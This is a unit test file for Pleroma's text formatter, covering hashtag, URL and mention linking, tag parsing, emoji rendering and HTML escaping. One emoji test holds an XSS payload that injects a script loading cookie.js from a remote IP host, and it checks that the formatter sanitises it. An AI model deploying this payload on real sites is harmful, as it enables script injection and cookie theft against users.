Fork of Pleroma with site-specific changes and feature branches https://git.pleroma.social/pleroma/pleroma
Вы не можете выбрать более 25 тем Темы должны начинаться с буквы или цифры, могут содержать дефисы(-) и должны содержать не более 35 символов.

307 строки
11KB

  1. # Pleroma: A lightweight social networking server
  2. # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
  3. # SPDX-License-Identifier: AGPL-3.0-only
  4. defmodule Pleroma.FormatterTest do
  5. alias Pleroma.Formatter
  6. alias Pleroma.User
  7. use Pleroma.DataCase
  8. import Pleroma.Factory
  9. setup_all do
  10. Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
  11. :ok
  12. end
  13. describe ".add_hashtag_links" do
  14. test "turns hashtags into links" do
  15. text = "I love #cofe and #2hu"
  16. expected_text =
  17. "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
  18. assert {^expected_text, [], _tags} = Formatter.linkify(text)
  19. end
  20. test "does not turn html characters to tags" do
  21. text = "#fact_3: pleroma does what mastodon't"
  22. expected_text =
  23. "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
  24. assert {^expected_text, [], _tags} = Formatter.linkify(text)
  25. end
  26. end
  27. describe ".add_links" do
  28. test "turning urls into links" do
  29. text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
  30. expected =
  31. "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
  32. assert {^expected, [], []} = Formatter.linkify(text)
  33. text = "https://mastodon.social/@lambadalambda"
  34. expected =
  35. "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
  36. assert {^expected, [], []} = Formatter.linkify(text)
  37. text = "https://mastodon.social:4000/@lambadalambda"
  38. expected =
  39. "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
  40. assert {^expected, [], []} = Formatter.linkify(text)
  41. text = "@lambadalambda"
  42. expected = "@lambadalambda"
  43. assert {^expected, [], []} = Formatter.linkify(text)
  44. text = "http://www.cs.vu.nl/~ast/intel/"
  45. expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
  46. assert {^expected, [], []} = Formatter.linkify(text)
  47. text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
  48. expected =
  49. "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
  50. assert {^expected, [], []} = Formatter.linkify(text)
  51. text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
  52. expected =
  53. "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
  54. assert {^expected, [], []} = Formatter.linkify(text)
  55. text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
  56. expected =
  57. "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
  58. assert {^expected, [], []} = Formatter.linkify(text)
  59. text = "https://en.wikipedia.org/wiki/Duff's_device"
  60. expected =
  61. "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
  62. assert {^expected, [], []} = Formatter.linkify(text)
  63. text = "https://pleroma.com https://pleroma.com/sucks"
  64. expected =
  65. "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
  66. assert {^expected, [], []} = Formatter.linkify(text)
  67. text = "xmpp:contact@hacktivis.me"
  68. expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
  69. assert {^expected, [], []} = Formatter.linkify(text)
  70. text =
  71. "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
  72. expected = "<a href=\"#{text}\">#{text}</a>"
  73. assert {^expected, [], []} = Formatter.linkify(text)
  74. end
  75. end
  76. describe "add_user_links" do
  77. test "gives a replacement for user links, using local nicknames in user links text" do
  78. text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
  79. gsimg = insert(:user, %{nickname: "gsimg"})
  80. archaeme =
  81. insert(:user, %{
  82. nickname: "archa_eme_",
  83. info: %User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
  84. })
  85. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  86. {text, mentions, []} = Formatter.linkify(text)
  87. assert length(mentions) == 3
  88. expected_text =
  89. "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
  90. gsimg.ap_id
  91. }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
  92. archaeme.id
  93. }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
  94. archaeme_remote.id
  95. }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
  96. assert expected_text == text
  97. end
  98. test "gives a replacement for user links when the user is using Osada" do
  99. {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com")
  100. text = "@mike@osada.macgirvin.com test"
  101. {text, mentions, []} = Formatter.linkify(text)
  102. assert length(mentions) == 1
  103. expected_text =
  104. "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
  105. assert expected_text == text
  106. end
  107. test "gives a replacement for single-character local nicknames" do
  108. text = "@o hi"
  109. o = insert(:user, %{nickname: "o"})
  110. {text, mentions, []} = Formatter.linkify(text)
  111. assert length(mentions) == 1
  112. expected_text =
  113. "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
  114. assert expected_text == text
  115. end
  116. test "does not give a replacement for single-character local nicknames who don't exist" do
  117. text = "@a hi"
  118. expected_text = "@a hi"
  119. assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
  120. end
  121. test "given the 'safe_mention' option, it will only mention people in the beginning" do
  122. user = insert(:user)
  123. other_user = insert(:user)
  124. third_user = insert(:user)
  125. text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}"
  126. {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
  127. assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
  128. assert expected_text ==
  129. "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
  130. user.ap_id
  131. }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
  132. other_user.id
  133. }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
  134. third_user.id
  135. }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
  136. end
  137. test "given the 'safe_mention' option, it will still work without any mention" do
  138. text = "A post without any mention"
  139. {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
  140. assert mentions == []
  141. assert expected_text == text
  142. end
  143. test "given the 'safe_mention' option, it will keep text after newlines" do
  144. user = insert(:user)
  145. text = " @#{user.nickname}\n hey dude\n\nhow are you doing?"
  146. {expected_text, _, _} = Formatter.linkify(text, safe_mention: true)
  147. assert expected_text =~ "how are you doing?"
  148. end
  149. end
  150. describe ".parse_tags" do
  151. test "parses tags in the text" do
  152. text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
  153. expected_tags = [
  154. {"#Test", "test"},
  155. {"#working", "working"},
  156. {"#は", "は"},
  157. {"#漢字", "漢字"}
  158. ]
  159. assert {_text, [], ^expected_tags} = Formatter.linkify(text)
  160. end
  161. end
  162. test "it can parse mentions and return the relevant users" do
  163. text =
  164. "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
  165. o = insert(:user, %{nickname: "o"})
  166. jimm = insert(:user, %{nickname: "jimm"})
  167. gsimg = insert(:user, %{nickname: "gsimg"})
  168. archaeme = insert(:user, %{nickname: "archaeme"})
  169. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  170. expected_mentions = [
  171. {"@archaeme", archaeme},
  172. {"@archaeme@archae.me", archaeme_remote},
  173. {"@gsimg", gsimg},
  174. {"@jimm", jimm},
  175. {"@o", o}
  176. ]
  177. assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
  178. end
  179. test "it adds cool emoji" do
  180. text = "I love :firefox:"
  181. expected_result =
  182. "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
  183. assert Formatter.emojify(text) == expected_result
  184. end
  185. test "it does not add XSS emoji" do
  186. text =
  187. "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  188. custom_emoji = %{
  189. "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
  190. "https://placehold.it/1x1"
  191. }
  192. expected_result =
  193. "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
  194. assert Formatter.emojify(text, custom_emoji) == expected_result
  195. end
  196. test "it returns the emoji used in the text" do
  197. text = "I love :firefox:"
  198. assert Formatter.get_emoji(text) == [
  199. {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
  200. ]
  201. end
  202. test "it returns a nice empty result when no emojis are present" do
  203. text = "I love moominamma"
  204. assert Formatter.get_emoji(text) == []
  205. end
  206. test "it doesn't die when text is absent" do
  207. text = nil
  208. assert Formatter.get_emoji(text) == []
  209. end
  210. test "it escapes HTML in plain text" do
  211. text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
  212. expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
  213. assert Formatter.html_escape(text, "text/plain") == expected
  214. end
  215. end